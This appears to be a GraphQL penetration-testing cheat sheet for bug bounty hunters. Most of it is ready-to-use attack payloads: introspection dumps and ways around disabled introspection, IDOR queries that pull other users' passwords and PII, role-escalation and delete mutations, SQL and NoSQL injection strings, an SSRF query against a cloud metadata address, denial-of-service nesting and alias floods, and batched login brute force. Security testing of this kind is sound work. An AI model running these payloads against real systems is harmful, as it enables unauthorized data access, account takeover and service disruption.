Discovery
Common Endpoints
TEXT
/graphql
/graphiql
/graphql/console
/graphql.php
/graphql/playground
/v1/graphql
/v1/graphiql
/api/graphql
/graph
/query
Detection
BASH
# Send introspection query
curl -X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
https://target.com/graphql
# Response: {"data": {"__typename": "Query"}} = GraphQL!
Introspection
Full Schema Dump
GRAPHQL
{__schema{types{name,fields{name,args{name,type{name}}}}}}
Detailed Introspection
GRAPHQL
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
name
kind
description
fields {
name
description
args { name type { name kind } }
type { name kind }
}
}
}
}
Find Specific Type
GRAPHQL
{__type(name:"User"){name,fields{name,type{name,kind}}}}
Query for Mutations
GRAPHQL
{__schema{mutationType{fields{name,args{name,type{name}}}}}}
Introspection Bypass
When Disabled
GRAPHQL
# Try fragments
{__type(name: "Query"){name}}
# Try with alias
{alias:__schema{queryType{name}}}
# Try via GET
GET /graphql?query={__schema{types{name}}}
# Case variations
{__SCHEMA{types{name}}}
# Try GraphQL Voyager with partial data
Alternative Reconnaissance
GRAPHQL
# Suggestion abuse - typo to get suggestions
{users} # Error might say "Did you mean 'user'?"
# Verbose error messages reveal schema
{user(id:1){nonexistent}} # May list valid fields in error
Authorization Bypass
IDOR via Direct Query
GRAPHQL
# Original
query { user(id: "123") { email, password } }
# Attack
query { user(id: "456") { email, password } } # Other user
query { user(id: "1") { email, password } } # Admin
Access Hidden Fields
GRAPHQL
# If introspection reveals sensitive fields
query {
user(id: "123") {
email
password # Maybe not protected
ssn # PII field
creditCard # Financial data
internalToken # API token
}
}
Query All Users
GRAPHQL
query {
users { # No filter, get everyone
id
email
role
}
}
# Or with pagination bypass
query {
users(first: 10000) { id email }
}
Mutation Authorization
GRAPHQL
# Can you modify other users?
mutation {
updateUser(id: "456", input: {role: "admin"}) {
id
role
}
}
# Delete other users?
mutation {
deleteUser(id: "456")
}
Injection Attacks
SQL Injection
GRAPHQL
# If input goes to SQL
query {
user(name: "admin' OR '1'='1") { id email }
}
query {
search(term: "' UNION SELECT password FROM users--") { results }
}
NoSQL Injection
GRAPHQL
query {
user(filter: "{\"$gt\": \"\"}") { id email }
}
query {
users(search: "{\"email\": {\"$regex\": \".*\"}}") { id }
}
SSRF via GraphQL
GRAPHQL
# If URL is fetched
mutation {
importData(url: "http://169.254.169.254/latest/meta-data/") {
result
}
}
DoS Attacks
Nested Query (Depth Attack)
GRAPHQL
query {
user {
friends {
friends {
friends {
friends {
friends {
id
}
}
}
}
}
}
}
Field Duplication
GRAPHQL
query {
user {
id id id id id id id id id id id id id id id
email email email email email email email
}
}
Alias Overload
GRAPHQL
query {
a1: __typename
a2: __typename
a3: __typename
# ... 10000 times
}
Batch Attack
GRAPHQL
# Multiple operations in one request
query {
user1: user(id: "1") { email }
user2: user(id: "2") { email }
user3: user(id: "3") { email }
# ... enumerate all users
}
Batched Queries for Enumeration
User Enumeration
GRAPHQL
query {
user1: user(id: "1") { id email }
user2: user(id: "2") { id email }
user3: user(id: "3") { id email }
# ... continue
}
Brute Force Authentication
GRAPHQL
# If login mutation exists
mutation {
a1: login(email:"admin@test.com", password:"password1") { token }
a2: login(email:"admin@test.com", password:"password2") { token }
a3: login(email:"admin@test.com", password:"password3") { token }
}
Subscriptions
WebSocket Exploitation
GRAPHQL
# Subscriptions often over WebSocket
subscription {
newMessage {
content
sender { id email }
}
}
# Test IDOR - subscribe to other users' data
subscription {
userNotifications(userId: "456") {
content
}
}
File Upload
If Application Supports
GRAPHQL
# Check for upload mutation
mutation($file: Upload!) {
uploadFile(file: $file) {
url
}
}
# Test for:
- Path traversal in filename
- Content-type bypass
- Unrestricted file types
Testing Methodology
Step 1: Enumerate Schema
TEXT
1. Try introspection
2. If disabled, use suggestion abuse
3. Map all queries, mutations, subscriptions
4. Note all arguments and types
Step 2: Test Authorization
TEXT
1. Query each type for IDOR
2. Try mutations on other users' data
3. Access hidden/admin fields
4. Check role-based access
Step 3: Input Validation
TEXT
1. SQL injection in arguments
2. NoSQL injection
3. SSRF in URL fields
4. XSS in stored fields
Step 4: Resource Exhaustion
TEXT
1. Deep nesting
2. Large batch queries
3. Expensive operations
Tools
InQL (Burp Extension)
TEXT
- Automatic introspection
- Query generation
- Batch requests
GraphQL Voyager
TEXT
- Visual schema exploration
- Interactive graph
Graphw00f
BASH
# Fingerprint GraphQL engine
graphw00f -t https://target.com/graphql
Clairvoyance
BASH
# Obtain schema when introspection disabled
clairvoyance https://target.com/graphql -o schema.json
Bug Bounty Tips
High-Impact Findings
TEXT
- IDOR accessing other users' data
- Authorization bypass on sensitive operations
- SQL/NoSQL injection
- Schema revealing internal APIs
- Subscription data leaks
What to Include in Report
TEXT
1. GraphQL endpoint
2. Full query/mutation used
3. Before/after showing unauthorized access
4. Schema excerpt (if sensitive)
5. Impact statement